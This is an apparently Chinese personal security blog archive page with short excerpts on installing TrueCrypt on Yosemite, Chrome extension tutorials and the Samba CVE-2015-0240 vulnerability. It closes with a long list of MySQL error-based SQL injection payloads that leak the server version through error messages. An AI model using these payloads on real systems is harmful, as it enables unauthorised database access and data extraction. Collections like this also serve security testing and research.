truecrypt 7.1a requires Mac OS X 10.4 or later on Yosemite 10.10
在MAC上安装TrueCrypt 提示truecrypt 7.1a requires Mac OS X 10.4 or later on Yosemite 10.10。
判断系统版本号是什么鬼？网上说的是删掉判断代码，这里再说个简单的方法。
1.打开dmg，右键显示全部内容
2.打开Contents/Packages/,依次安装里面四个应用就可以了阅读全文
归档之于 ‘ 2015 年4月 ’
Chrome扩展开发
最近一直在做插件的开发，收集几个很不错的chrome extensions开发入门文章
Chrome扩展程序开发基础介绍
http://blog.iderzheng.com/introduction-to-chrome-extension-development/
Chrome扩展程序各结构间交互方式
http://blog.iderzheng.com/interaction-between-chrome-extension-components/
中文手册
https://crxdoc-zh.appspot.com/extensions/event_pages#tra阅读全文
Samba CVE-2015-0240 远程代码执行漏洞
背景
2015年2月23日，Red Hat产品安全团队发布了一个Samba服务端smbd的漏洞公告 [1]，该漏洞编号为CVE-2015-0240，几乎影响所有版本。该漏洞的触发并不需要通过Samba服务器的账号认证，而smbd服务端通常以root权限运行，如果漏洞能够被用来实现任意代码执行，则攻击者可以远程获取系统root权限，危害极其严重，因此该漏洞的CVSS评分也达到了10。
该漏洞的基本原理是栈上未初始化的指针被传入TALLOC_FREE()函数。想要利用这个漏洞，首先需要控制栈上未初始化的数据，这和编译生成的二进制文件中栈的布局有关。因此少数国外的安全研究人员针对不同Linu阅读全文
MySQL Error-Based Injection
From:http://blackfan.ru/mysql_game/
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
'-(SELECT*FROM(SELECT name_const(version(),1),name_const(version(),1))a)# '=0 group by elt(rand(),version())having sum(0)# '-updatexml(0,repeat(version(),2),2)# '|polygon((select*from(select name_const(version(),1))x))# '--~(select*from(select@@version)f)# '|GTID_SUBSET(@@version,0)# '/(select*from(select+name_const(version(),1),name_const(version(),1))a)# '=0 group by elt(rand(),version())having min(0)# '/updatexml(0,repeat(version(),2),0)# '-polygon((select*from(select name_const(version(),1))o))# '--~(select*from(select@@version)f)# '/gtid_subset(@@version,0)# '|(select*from(select name_const(version(),1),name_const(version(),1))a)# '=0 group by elt(rand(),version())having min(0)# '|updatexml(1,repeat(version(),2),1)# '--~(select*from(select@@version)f)# '<1 group by elt(rand(),version())having min(0)# '|polygon((select*from(select name_const(version(),1))p))# '|!(select*from(select@@version)x)-~0# 'or 1 group by concat(version(),floor(rand(0)*2)) having min(0)or''=' ' and extractvalue(rand(0),concat(0x0a,version()))or''=' '--~(select*from(select@@version)f)# '--~(select*from(select@@version)f)# '|(select!x-~0.FROM(select+version()x)f)# '|(select!x-~0.FROM(select@@version x)f)# 'UnIoN SeLeCt CoUnT(`TeXt`) FrOm test.news WhErE 1=1 GrOuP By CoNcAt(VeRsIoN(),FlOoR(RaNd(1337)*2)),' '/updatexml(0,concat(0xa,version()),0)# '/updatexml(0,concat('$_',version()),0)# '-updatexml(1,concat('a=.',version()),1)# '-updatexml(1,LPAD(.1,999,hex(hex(version()))),1)# '/polygon((select*from(select name_const(version(),1))o))# '--~(select*from(select@@version)f)# '-~(select*from(select@@version)x)*2# 1e308'*(select*from(select@@version)x)# '-(select~b*a*a*a from(select~0/.1 a,version()b)x)# '-GTID_SUBSET(@@version,0)# '-(SELECT*FROM(SELECT name_const(version(),1),name_const(version(),1))a)# '=0 group by elt(rand(),version())having sum(0)# '|updatexml(1,concat('a=.',version()),1)# '|updatexml(0,concat('$_',version()),2)# '-updatexml(0,concat(0x1,version()),2)# '|updatexml(0,lpad(.1,350,hex(hex(version()))),1)# '|polygon((select*from(select name_const(version(),1))x))# 1e308'*(select*from(select@@version)x)# '--~(select*from(select@@version)f)# '|(~(select*from(select@@version)f)*2)# '|~(select*from(select@@version)x)*cast(1e99as decimal(65))# '|GTID_SUBSET(@@version,0)# '|(select*from(select name_const(version(),1),name_const(version(),1))a)# '||1 group by mid(version(),rand())having min(1)# '|UpdateXML(1,concat('/',version()),1)# '|UpdateXML(1,concat('$_',version()),1)# '|ExtractValue(1,concat('/a[x=y]',version()))# '|Polygon((select*from(select name_const(version(),1))b))# '|UpdateXML(0,CONCAT(hex(hex(version())),repeat(0,285),'.'),1)# '|(select!x-~0.FROM(select+version()x)f)# '|(select-9223372036854775808-(x||1)FROM(select+version()x)z)# '|(select pow(2,~x)FROM(select+version()x)z)# '|(select~0*cast(x as DECIMAL(1))*~0*~0*~0.FROM(select+version()x)z)# '|GTID_SUBSET(version(),0)# '||1 group by concat(left(version(),9),rand(0)|0) having max(0)# '|(select!x-~0.FROM(select+version()x)f)# '-updatexml(1,concat('.a=a',version()),1)# 'union select count(*)from test.news group by concat(version(),floor(rand(9)*3)),' ' UnIoN SeLeCt CoUnT(`TeXt`) FrOm `test`.`news` group By CoNcAt(version(), rand(RaNd(4) * 2)), ' ' union select count(*) From `test`.`news` where 1 group by concat(version(),floor(rand(1337)* 2)), ' 'union all select count(*)from test.news where id=1 or 1=1 group by concat (version(),floor(rand(1337)*2)),' |
Debug
Contact:xx@nop.pw